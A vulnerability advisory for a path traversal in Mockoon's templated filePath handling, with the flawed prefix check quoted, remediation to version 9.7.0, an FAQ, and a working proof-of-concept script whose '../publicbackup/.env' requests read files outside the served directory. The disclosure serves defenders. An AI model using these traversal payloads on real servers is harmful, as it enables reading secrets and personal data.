CVE-2026-59149: Mockoon: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)
Summary
A FILE response whose filePath embeds request data (e.g. "/srv/public/{{queryParam 'name'}}", the documented way to let the client pick a file) is confined by getSafeFilePath with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.
Details
packages/commons-server/src/libs/server/server.ts, getSafeFilePath (line 2315). The static base is the text before the first {{, resolved to an absolute path; the parsed filePath is then bounded by a string-prefix check:
ts const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336 const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled const resolvedPath = resolvePath(parsedFilePath);
if (isPathAbsolute) { if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355 throw new Error(Access to absolute path outside of the original static base directory (${resolvedPath})); } } else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362 throw new Error(Access to relative path outside of the environment base directory (${resolvedPath})); }
With "/srv/public/{{queryParam 'name'}}", staticBaseDir = /srv/public. A request name=../publicbackup/.env resolves to /srv/publicbackup/.env, and "/srv/publicbackup/.env".startsWith("/srv/public") is true → served. Any sibling whose absolute path begins with the string /srv/public is reachable; the relative branch (:2362) is the same against environmentDirectory. A correct check appends sep to the base, or rejects when relative(base, resolvedPath) starts with ...
filePath is request-controlled (queryParam/urlParam/header/body via TemplateParser) for every FILE response: HTTP sendFile (:1762), WebSocket (:1145), callbacks (:1586).
PoC
sh cat > /tmp/poc.sh <<'POC' set -e mkdir -p /work/public /work/publicbackup && cd /work echo 'public landing page' > public/index.txt echo 'AWSSECRETACCESSKEY=redacted' > publicbackup/.env echo 'Michael, michael@example.com, 555-22-7741' > publicbackup/customers.csv cat > env.json <<'JSON' {"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[], "routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download", "responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[], "bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR", "disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}], "responseMode":null,"streamingMode":null,"streamingInterval":0}], "rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}], "proxyMode":false,"proxyHost":"","proxyRemovePrefix":false, "tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""}, "cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]} JSON npm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1 mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 & sleep 6 node -e ' const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x8664; rv:128.0) Gecko/20100101 Firefox/128.0"}}; const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();}; (async()=>{ console.log("[] intended file (public/index.txt) :",await g("index.txt")); console.log("[+] escape -> ../publicbackup/.env :",await g("../publicbackup/.env")); console.log("[+] escape -> ../publicbackup/customers:",await g("../publicbackup/customers.csv")); })();' POC docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh
Output:
text [] intended file (public/index.txt) : public landing page [+] escape -> ../publicbackup/.env : AWSSECRETACCESSKEY=redacted [+] escape -> ../publicbackup/customers: Michael, michael@example.com, 555-22-7741
../publicbackup/.env and ../publicbackup/customers.csv are served, outside /work/public/, because their absolute paths string-prefix /work/public
Other sources
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/@mockoon/clito a version that resolves this vulnerability.Fixed in 9.7.0 - Upgrade
Upgrade
npm/@mockoon/commons-serverto a version that resolves this vulnerability.Fixed in 9.7.0 - Upgrade
Upgrade
Mockoon (packages/commons-server/src/libs/server/server.ts)to a version that resolves this vulnerability.Fixed in 9.7.0
Event History
Frequently Asked Questions
What is the severity of CVE-2026-59149?
The severity of CVE-2026-59149 is classified as medium with a score of 6.5.
How do I fix CVE-2026-59149?
To fix CVE-2026-59149, update Mockoon to version 9.7.0 or later.
What type of vulnerability is CVE-2026-59149?
CVE-2026-59149 is a Path Traversal vulnerability affecting Mockoon.
What is affected by CVE-2026-59149?
CVE-2026-59149 affects the templated `filePath` in Mockoon prior to version 9.7.0.
What is the risk associated with CVE-2026-59149?
CVE-2026-59149 has a risk score of 37, indicating potential security exposure from unauthorized file access.